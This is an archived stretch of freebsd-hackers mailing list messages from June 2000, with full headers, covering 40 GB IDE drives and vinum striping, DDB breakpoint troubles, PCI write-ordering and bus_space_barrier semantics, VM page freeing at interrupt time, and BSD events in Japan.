wrote: > Anyone know how to get a 40gig IDE drive working under FreeBSD? It > picks it up as having 79000 odd sectors and says that the geometary > is wrong, and it doesnt work. Have you set LBA mode? Note that the wd driver has problems with partitions (not drives) greater than about 27 GB. The ata driver has no such problems. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 1: 1:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id 891D137B989 for ; Fri, 2 Jun 2000 01:01:04 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id RAA26392; Fri, 2 Jun 2000 17:30:44 +0930 (CST) (envelope-from grog) Date: Fri, 2 Jun 2000 17:30:44 +0930 From: Greg Lehey To: Jaye Mathisen Cc: lists@security.za.net, hackers@FreeBSD.ORG Subject: Re: 40gig IDE drives? Message-ID: <20000602173044.S22978@wantadilla.lemis.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, 1 June 2000 at 23:56:44 -0700, Jaye Mathisen wrote: > > I have 2 maxtor 40GB's running off a Promise FastTrak 66 under 4.0-stable, > and it's working fine, except for one teensy problem. > > vinum (striping them), apparently overwrote whatever the promise uses to > track them as part of a stripe set... So on reboot, I have to hit an F2 > configure, because the promise thinks the array is unconfigured... Interesting. Can you find out where the controller keeps its config? You probably would have been OK if you had left some space free at the beginning or the end of the drive. That's probably worth a word of warning somewhere. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 1:31:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 0DE6F37B8B5; Fri, 2 Jun 2000 01:31:37 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by relay.butya.kz with local-esmtp (Exim 3.13 #1) id 12xmrO-0005yB-00; Fri, 02 Jun 2000 15:31:18 +0700 Date: Fri, 2 Jun 2000 15:31:18 +0700 (ALMST) From: Boris Popov To: "G.B.Naidu" Cc: freebsd-hackers@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: Re: DDB is not setting break points... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 2 Jun 2000, G.B.Naidu wrote: > Thanks Bruse for the reply. I am running 3.3-Release of FreeBSD. And my > kernel is elf kernel. So according to Bruce, I cannot set the breakpoints > from DDB until sysinit() finishes. So what is the safe point from where I > can set break points from DDB? I want to use DDB because I want to debug > online. G.B.Naidu, since you're ingnore private email, I'm asking you again - please do not crosspost questions into several lists at a time. freebsd-net is not for this kind of questions. Thank you. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 1:34:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from front6m.grolier.fr (front6m.grolier.fr [195.36.216.56]) by hub.freebsd.org (Postfix) with ESMTP id ED6D937BAE8; Fri, 2 Jun 2000 01:34:11 -0700 (PDT) (envelope-from groudier@club-internet.fr) Received: from ppp-112-87.villette.club-internet.fr (ppp-112-87.villette.club-internet.fr [194.158.112.87]) by front6m.grolier.fr (8.9.3/No_Relay+No_Spam_MGC990224) with ESMTP id KAA24319; Fri, 2 Jun 2000 10:34:07 +0200 (MET DST) Date: Fri, 2 Jun 2000 10:10:47 +0200 (CEST) From: =?ISO-8859-1?Q?G=E9rard_Roudier?= X-Sender: groudier@linux.local To: Mike Smith Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-Reply-To: <200005282051.NAA04805@mass.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 28 May 2000, Mike Smith wrote: > > Speaking about bus_space_*(): Does it make the thing follow the PCI > > ordering rules? Very probably not since it is impossible on some system= s. >=20 > There's no attempt to do this, no. However, it's possible to implement= =20 > this if there's a need. >=20 > > Typically, a driver may want to order some operations and also not brea= k > > post buffering each time a write is performed. It may for example want = to > > order some operations, but not flush all writes immediately. I didn't s= ee > > how to tell bus about that. >=20 > The bus_space_barrier() interface takes the bus tag and handle as=20 > arguments, so the ordering operations can make decisions about how they= =20 > should behave based on what you're operating on. Hmmm... This stuff happens to do the expected work on FreeBSD-alpha, but the bus_space_barrier() apparent semantic seems more restrictive. What we may want is to have some handle on the order a sequence of memory _and_ mmio operations is actually carried out to the system bus. But the bus_space_barrier() semantic only seems to care about mmio operations. (I have had a look into NetBSD ppc. Here too, bus_space_barrier() does the expected work, despite the apparent restrictive semantic of this verb) As a result, for the moment, the only way for me to provide correct ordering support for other archs (notably ppc) will be to add some assembly language in driver code. On the other hand, I didn't found the kernel interface for byte ordering operations (think about NetBSD htole32() and friends). > > Hmmm... That's the point I disagree on, btw. Inserting implicit barrier= s > > in the back of drivers can only be either sub-optimal or sometime not > > match driver expectations about ordering. Bus interface should allow mo= re > > flexibility to drivers regarding ordering, in my opinion. >=20 > I think Warner answered this, and he probably understood your point=20 > better; at the moment, the driver is solely responsible for managing=20 > ordering. None of our current busspace backends perform any sort of=20 > ordering. And this let me claim that some drivers may well be broken regarding ordering on some archs. This happen to be the case at least for the ncr on both FreeBSD-alpha, and on NetBSD-alpha/ppc, very probably. But I suspect numerous other pci device drivers to suffer of the same problem. Generally, ordering problems donnot prevent a driver from working most of the time, but extremally weird breakage may happen sometimes. > > By the way, as I wrote in my previous mail, I am unable to propose a > > better interface. I only wanted to point out that bus abstractions are = far > > from being perfect. They make portability possible without too much cod= e > > complexity, but when working on a driver, I think we must not forget th= e > > reality of what actually happens inside the machine. >=20 > Just so. The real joy, of course, comes when you're trying to make a=20 > drive behave "correctly" on a wide range of different machines. 8) I actually want it to be a joy, but for now it is a nightmare, unless I=20 decide to do the real work from the device driver. Unfortunately, I haven't time enough to study all existing architectures and existing bridges variants. This let the expected joy not to be about to come. ;-) G=E9rard. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 3:45:42 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mailgw.cablecom.ne.jp (mailgw.cablecom.ne.jp [202.248.199.37]) by hub.freebsd.org (Postfix) with ESMTP id 4B31337B529 for ; Fri, 2 Jun 2000 03:45:38 -0700 (PDT) (envelope-from motoyuki@mk.bsdclub.org) Received: from srv2.cablecom.ne.jp by mailgw.cablecom.ne.jp (8.9.3/3.7W) id TAA03260; Fri, 2 Jun 2000 19:45:36 +0900 (JST) Received: from mail.mk.bsdclub.org by srv2.cablecom.ne.jp (8.9.3/3.7W) id TAA05662; Fri, 2 Jun 2000 19:45:35 +0900 (JST) Received: from sakura.mk.bsdclub.org (sakura.mk.bsdclub.org [192.168.11.4]) by mail.mk.bsdclub.org (8.9.3/3.7W) with ESMTP id TAA40272 for ; Fri, 2 Jun 2000 19:45:34 +0900 (JST) Received: from sakura (localhost [127.0.0.1]) by sakura.mk.bsdclub.org (8.9.3/3.7W) with ESMTP id TAA47043 for ; Fri, 2 Jun 2000 19:45:34 +0900 (JST) Message-Id: <200006021045.TAA47043@sakura.mk.bsdclub.org> To: hackers@freebsd.org From: Motoyuki Konno X-Mailer: mh-e on Mule 2.3 / Emacs 19.34.1 Subject: [ANNOUNCE] FreeBSD events in Japan Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Date: Fri, 02 Jun 2000 19:45:34 +0900 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We are pleased to announce the following events in Japan. Mr. Jordan K. Hubbard and Mr. Warner Losh will come to Japan to attend these events and give some lectures. 6/8 (Thu) ========= *BSD BOF at Networld+Interop 2000 Tokyo --------------------------------------- by The FreeBSD Project (Japan), The Japan NetBSD Users' Group and The OpenBSD Wakakusa Users' Group. Time : 18:30 - 20:30 Place : Nippon Convention Center (Makuhari Messe) Contact : NI2000-BOF@jp.FreeBSD.org Registration : No registration required. No Fee. Networld+Interop 2000 Tokyo : http://interop.sbforums.co.jp/ (Japanese) http://interop.sbforums.co.jp/eng/ (English) *BSD BOF : http://www.jp.FreeBSD.org/event/N+I2000_BOF/ (Japanese) 6/9 (Fri) ========= JUS Seminar at Tokyo : "FreeBSD Speech" --------------------------------------- by The Japan UNIX Society Time : 18:00 - 20:00 Place : Roudou Square Tokyo Japan UNIX Society : http://www.jus.or.jp/ (Japanese) http://www.jus.or.jp/index-e.html (English) Announce of the seminar : http://www.jus.or.jp/benkyokai/00-06free.html (Japanese) 6/10 (Sat) ========== Free UNIX Seminar 2000 in Nagoya University ------------------------------------------- by Nagoya BSD Users' Group (NBUG) and Nagoya Linux User(s) Group, etc. Time : 11:00 - Place : Nagoya University Seminar Announce : http://meidaif.nagoyalinux.org/ (Japanese) K*BUG Seminar : FreeBSD speech ------------------------------ by Kansai *BSD Users Group (K*BUG) Time : 16:00 - 18:00 Place : Senri Life Science Center, Osaka Registration required. See the announce page. Kansai *BSD Users Group : http://www.kbug.gr.jp/ (Japanese) Seminar Announce : http://www.kbug.gr.jp/J_W/ (Japanese) -- ------------------------------------------------------------------------ Motoyuki Konno motoyuki@bsdclub.org (Home) motoyuki@FreeBSD.ORG (FreeBSD Project) The FreeBSD Project (Japan) http://www.freebsd.org/~motoyuki/ (WWW) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 4:41:37 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id F0D1C37BA23 for ; Fri, 2 Jun 2000 04:41:34 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p44-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.109]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id UAA29208; Fri, 2 Jun 2000 20:41:04 +0900 (JST) Message-ID: <3937966A.D13BD259@newsguy.com> Date: Fri, 02 Jun 2000 20:11:38 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: "G.B.Naidu" Cc: Doug White , freebsd-hackers@FreeBSD.ORG Subject: Re: DDB is not setting break points... (fwd) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "G.B.Naidu" wrote: > > Hi Doug, > > Thanks for your reply. We tried as per your mail. But still the DDB is > complaining the same saying that "symbol not found". > > What could be the reason? Am I missing something in the whole process? Maybe you are stripping your kernel. -- Daniel C. Sobral (8-DCS) who is as agreeable as Boba Fett dcs@newsguy.com dcs@freebsd.org capo@the.bsdconspiracy.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 4:53:36 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id C985837BB0A for ; Fri, 2 Jun 2000 04:53:28 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id RAA05916 for ; Fri, 2 Jun 2000 17:21:13 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Fri, 02 Jun 2000 17:21:11 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id RAA05511; Fri, 2 Jun 2000 17:21:03 +0530 Date: Fri, 2 Jun 2000 17:21:02 +0530 (IST) From: "G.B.Naidu" To: "Daniel C. Sobral" Cc: Doug White , freebsd-hackers@FreeBSD.ORG Subject: Re: DDB is not setting break points... (fwd) In-Reply-To: <3937966A.D13BD259@newsguy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have tried with unstripped kernel also. I am getting the same error. So looks like the symbols are not available until sysinit is called. So what is the right place to put breakpoints in the process of booting up? thanks --gb On Fri, 2 Jun 2000, Daniel C. Sobral wrote: > "G.B.Naidu" wrote: > > > > Hi Doug, > > > > Thanks for your reply. We tried as per your mail. But still the DDB is > > complaining the same saying that "symbol not found". > > > > What could be the reason? Am I missing something in the whole process? > > Maybe you are stripping your kernel. > > -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 5:26:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from lily.ezo.net (lily.ezo.net [206.102.130.13]) by hub.freebsd.org (Postfix) with ESMTP id 1078037B573 for ; Fri, 2 Jun 2000 05:26:10 -0700 (PDT) (envelope-from jflowers@ezo.net) Received: from lily.ezo.net (jflowers@localhost.ezo.net [127.0.0.1]) by lily.ezo.net (8.8.7/8.8.7) with SMTP id IAA07053; Fri, 2 Jun 2000 08:25:22 -0400 (EDT) Date: Fri, 2 Jun 2000 08:25:21 -0400 (EDT) From: Jim Flowers To: Jaye Mathisen Cc: lists@security.za.net, hackers@FreeBSD.ORG Subject: Re: 40gig IDE drives? In-Reply-To: <20000602173044.S22978@wantadilla.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG May or may not be related but I found with 4.0 that when I edited the disklabel to change the type to vinum the in-core copy was not written although the on-disk copy was, giving vinum a problem. Fix was to repartition each disk in the array with a true partition entry. Jim Flowers #4 ISP on C|NET, #1 in Ohio On Fri, 2 Jun 2000, Greg Lehey wrote: > On Thursday, 1 June 2000 at 23:56:44 -0700, Jaye Mathisen wrote: > > > > I have 2 maxtor 40GB's running off a Promise FastTrak 66 under 4.0-stable, > > and it's working fine, except for one teensy problem. > > > > vinum (striping them), apparently overwrote whatever the promise uses to > > track them as part of a stripe set... So on reboot, I have to hit an F2 > > configure, because the promise thinks the array is unconfigured... > > Interesting. Can you find out where the controller keeps its config? > You probably would have been OK if you had left some space free at the > beginning or the end of the drive. That's probably worth a word of > warning somewhere. > > Greg > -- > Finger grog@lemis.com for PGP public key > See complete headers for address and phone numbers > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 10:40:49 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail-03-real.cdsnet.net (mail-03-real.cdsnet.net [204.118.244.93]) by hub.freebsd.org (Postfix) with SMTP id 8D13C37BAC8 for ; Fri, 2 Jun 2000 10:40:43 -0700 (PDT) (envelope-from mrcpu@internetcds.com) Received: (qmail 26418 invoked from network); 2 Jun 2000 17:40:43 -0000 Received: from schizo.cdsnet.net (204.118.244.32) by mail-03-real.cdsnet.net with SMTP; 2 Jun 2000 17:40:43 -0000 Date: Fri, 2 Jun 2000 10:35:04 -0700 (PDT) From: Jaye Mathisen X-Sender: mrcpu@schizo.cdsnet.net To: Greg Lehey Cc: lists@security.za.net, hackers@FreeBSD.ORG Subject: Re: 40gig IDE drives? In-Reply-To: <20000602173044.S22978@wantadilla.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yeah, that was my though. I left sectors free at the front, but that wasn't it. Soren was looking at seeing if there was some way to read the promise label/record keeping, and turn that into a vinum setup somehow, so it would be relatively transparent. But I don't think he could get the docs from Promise, or perhaps just got busy. 8 partitions: # size offset fstype [fsize bsize bps/cpg] c: 80041248 0 unused 0 0 # (Cyl. 0 - 79405) d: 80040224 1024 vinum # (Cyl. 1*- 79405*) On Fri, 2 Jun 2000, Greg Lehey wrote: > On Thursday, 1 June 2000 at 23:56:44 -0700, Jaye Mathisen wrote: > > > > I have 2 maxtor 40GB's running off a Promise FastTrak 66 under 4.0-stable, > > and it's working fine, except for one teensy problem. > > > > vinum (striping them), apparently overwrote whatever the promise uses to > > track them as part of a stripe set... So on reboot, I have to hit an F2 > > configure, because the promise thinks the array is unconfigured... > > Interesting. Can you find out where the controller keeps its config? > You probably would have been OK if you had left some space free at the > beginning or the end of the drive. That's probably worth a word of > warning somewhere. > > Greg > -- > Finger grog@lemis.com for PGP public key > See complete headers for address and phone numbers > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 12:28:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.cdrom.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id DFF8537C09A for ; Fri, 2 Jun 2000 12:28:24 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA03790; Fri, 2 Jun 2000 12:31:13 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200006021931.MAA03790@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: =?ISO-8859-1?Q?G=E9rard_Roudier?= Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-reply-to: Your message of "Fri, 02 Jun 2000 10:10:47 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 Content-Transfer-Encoding: quoted-printable Date: Fri, 02 Jun 2000 12:31:13 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > Typically, a driver may want to order some operations and also not = break > > > post buffering each time a write is performed. It may for example w= ant to > > > order some operations, but not flush all writes immediately. I didn= 't see > > > how to tell bus about that. > > = > > The bus_space_barrier() interface takes the bus tag and handle as = > > arguments, so the ordering operations can make decisions about how th= ey = > > should behave based on what you're operating on. > = > Hmmm... This stuff happens to do the expected work on FreeBSD-alpha, bu= t > the bus_space_barrier() apparent semantic seems more restrictive. What = we > may want is to have some handle on the order a sequence of memory _and_= > mmio operations is actually carried out to the system bus. I think I'm understanding you here; you want to be able to ensure that a = set of eg. mmio-to-bus operations are completed before a following = memory-write operation is performed, in an architecture where write = ordering is not guaranteed? In this case, perhaps the NetBSD wbflush() addon is what actually = addresses your concerns? To be honest, I haven't ever run across a peripheral where this sort of timing would be a concern; I have a hard = time visualising what you'd want this for (but would appreciate being = informed if you have the time). > But the > bus_space_barrier() semantic only seems to care about mmio operations. = (I > have had a look into NetBSD ppc. Here too, bus_space_barrier() does the= > expected work, despite the apparent restrictive semantic of this verb) In the "bus space" way of thinking, all memory operations are mmio, even = if the mapped space is in system memory. > On the other hand, I didn't found the kernel interface for byte orderin= g > operations (think about NetBSD htole32() and friends). We haven't (yet) ported to a non-little-endian architecture. You can = reasonably expect that we will follow the NetBSD folks' lead on this, as = they've had plenty of time to come up with solutions that work. (Unless = you or someone else comes up with violent objections, of course.) > > Just so. The real joy, of course, comes when you're trying to make a= = > > drive behave "correctly" on a wide range of different machines. 8) > = > I actually want it to be a joy, but for now it is a nightmare, unless I= = > decide to do the real work from the device driver. Unfortunately, I > haven't time enough to study all existing architectures and existing > bridges variants. > This let the expected joy not to be about to come. ;-) 8) -- = \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 13: 8: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from arjun.niksun.com (gwnew.niksun.com [206.20.52.130]) by hub.freebsd.org (Postfix) with ESMTP id A239B37B55B for ; Fri, 2 Jun 2000 13:07:30 -0700 (PDT) (envelope-from joy@niksun.com) Received: from falcon.niksun.com (falcon.niksun.com [10.0.0.167]) by arjun.niksun.com (8.9.3/8.9.3) with ESMTP id QAA89075 for ; Fri, 2 Jun 2000 16:07:29 -0400 (EDT) (envelope-from joy@falcon.niksun.com) Message-ID: <3938141E.E2F1620F@falcon.niksun.com> Date: Fri, 02 Jun 2000 16:07:58 -0400 From: Joy Ganguly X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers Subject: Freeing PQ_CACHE pages at interrupt time?? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi all, Why cant pages in the PQ_CACHE queue be freed at interrupt time. as far as i could see these pages are clean, though they are still associated with the object. So what prevents us from dissociating them from the object . we dont have to do any io and hence not block. well maybe i am missing something here. will somebody please explain it to me?? thanx in advance joy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 14: 4:56 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5512137B76B for ; Fri, 2 Jun 2000 14:04:54 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id OAA49067; Fri, 2 Jun 2000 14:04:46 -0700 (PDT) (envelope-from dillon) Date: Fri, 2 Jun 2000 14:04:46 -0700 (PDT) From: Matthew Dillon Message-Id: <200006022104.OAA49067@apollo.backplane.com> To: Joy Ganguly Cc: freebsd-hackers Subject: Re: Freeing PQ_CACHE pages at interrupt time?? References: <3938141E.E2F1620F@falcon.niksun.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :hi all, : :Why cant pages in the PQ_CACHE queue be freed at interrupt time. as far :as i could see these pages are clean, though they are still associated :with the object. So what prevents us from dissociating them from the :object . we dont have to do any io and hence not block. : :well maybe i am missing something here. will somebody please explain it :to me?? : :thanx in advance : :joy The VM routines that manage pages associated with objects are not protected against interrupts, so interrupts aren't allowed to change page-object associations. Otherwise an interrupt at just the wrong time could corrupt the mainline kernel VM code. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 14:40:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from front3m.grolier.fr (front3m.grolier.fr [195.36.216.53]) by hub.freebsd.org (Postfix) with ESMTP id B1F2537B7F4; Fri, 2 Jun 2000 14:40:18 -0700 (PDT) (envelope-from groudier@club-internet.fr) Received: from ppp-162-17.villette.club-internet.fr (ppp-162-17.villette.club-internet.fr [195.36.162.17]) by front3m.grolier.fr (8.9.3/No_Relay+No_Spam_MGC990224) with ESMTP id XAA20459; Fri, 2 Jun 2000 23:40:13 +0200 (MET DST) Date: Fri, 2 Jun 2000 23:16:54 +0200 (CEST) From: =?ISO-8859-1?Q?G=E9rard_Roudier?= X-Sender: groudier@linux.local To: Mike Smith Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-Reply-To: <200006021931.MAA03790@mass.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 2 Jun 2000, Mike Smith wrote: > > > > Typically, a driver may want to order some operations and also not = break > > > > post buffering each time a write is performed. It may for example w= ant to > > > > order some operations, but not flush all writes immediately. I didn= 't see > > > > how to tell bus about that. > > >=20 > > > The bus_space_barrier() interface takes the bus tag and handle as=20 > > > arguments, so the ordering operations can make decisions about how th= ey=20 > > > should behave based on what you're operating on. > >=20 > > Hmmm... This stuff happens to do the expected work on FreeBSD-alpha, bu= t > > the bus_space_barrier() apparent semantic seems more restrictive. What = we > > may want is to have some handle on the order a sequence of memory _and_ > > mmio operations is actually carried out to the system bus. >=20 > I think I'm understanding you here; you want to be able to ensure that a= =20 > set of eg. mmio-to-bus operations are completed before a following=20 > memory-write operation is performed, in an architecture where write=20 > ordering is not guaranteed? It is generally just the opposite. There are a couple of places in the ncr and sym drivers, and very probably in some other PCI device drivers, where the software driver (or the device) wants the other part to see a sequence of operations in a given order. I can take as an example the way ncr/sym handles the start queue: PSEUDO code in sym: - Queue the IDLE JOB to STARTQUEUE[i+1] - MEMORY_BARRIER - Queue the useful JOB to STARTQUEUE[i] - MEMORY_BARRIER - Write the SIGP bit to register ISTAT (tells the chip about a new job) Under Intel the memory barriers are just nil since program ordering is ensured. But under other architectures a reordering of the 3 writes can occur and lead to breakage if bad luck (Btw, extreme bad luck is needed). The ncr hasn't yet memory barriers since it was written for Intel. Btw, there are only a fiew places where a memory barrier is needed is these drivers. An other example: Normally PCI device drivers assume that (MM)IO operations are not reordered and that a read that transverses the bridges does flush posted transactions prior to the read being carried out to the device. On weak ordering systems, this requires appropriate barrier to be executed _prior_ to the (MM)IO read for the assumption to be valid. This is fine for alpha on both FreeBSD and NetBSD, but at least PPC kernel bus read function seems to call the barrier after the (MM)IO read under NetBSD (and also Linux:) which appears incorrect to me. > In this case, perhaps the NetBSD wbflush() addon is what actually=20 > addresses your concerns? To be honest, I haven't ever run across a > peripheral where this sort of timing would be a concern; I have a hard=20 > time visualising what you'd want this for (but would appreciate being=20 > informed if you have the time). Hmmm... I haven't documentation enough on common PCI devices in order to understand their respective PCI device drivers, but each time I have looked into a PCI device driver I was almost sure that some PCI ordering problems existed in some places (most of the times related to posted transactions if MMIO was intended to be used). > > But the > > bus_space_barrier() semantic only seems to care about mmio operations. = (I > > have had a look into NetBSD ppc. Here too, bus_space_barrier() does the > > expected work, despite the apparent restrictive semantic of this verb) >=20 > In the "bus space" way of thinking, all memory operations are mmio, even= =20 > if the mapped space is in system memory. Amen! ... But probably wrong. ;-) At least, it is my understanding of it. "bus space" seems to me to only care about IO/MMIO regarding ordering and it is probably too short thinking since ordering also involves memory accesses, for the reason PCI devices and CPU usually communicate using also memory as you know. > > On the other hand, I didn't found the kernel interface for byte orderin= g > > operations (think about NetBSD htole32() and friends). >=20 > We haven't (yet) ported to a non-little-endian architecture. You can=20 > reasonably expect that we will follow the NetBSD folks' lead on this, as= =20 > they've had plenty of time to come up with solutions that work. (Unless= =20 > you or someone else comes up with violent objections, of course.) I may have some in a near future, but very probably not violent at all. :) > > > Just so. The real joy, of course, comes when you're trying to make a= =20 > > > drive behave "correctly" on a wide range of different machines. 8) > >=20 > > I actually want it to be a joy, but for now it is a nightmare, unless I= =20 > > decide to do the real work from the device driver. Unfortunately, I > > haven't time enough to study all existing architectures and existing > > bridges variants. > > This let the expected joy not to be about to come. ;-) >=20 > 8) If I implement portable (but stupid) htole32() and friends, only barriers are to be remade according to arch in the driver. All the other bus concerns use the corresponding kernel interface. This let me hope that joy is about to come. :) G=E9rard. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 18:41:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 629C637B5E0 for ; Fri, 2 Jun 2000 18:41:53 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id SAA11334; Fri, 2 Jun 2000 18:41:30 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Doug Rabson Cc: "Jordan K. Hubbard" , Greg Lehey , hackers@freebsd.org Subject: Re: I will be in Japan and Korea from June 7th through June 15th In-reply-to: Your message of "Fri, 02 Jun 2000 08:43:08 BST." Date: Fri, 02 Jun 2000 18:41:30 -0700 Message-ID: <11331.959996490@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk 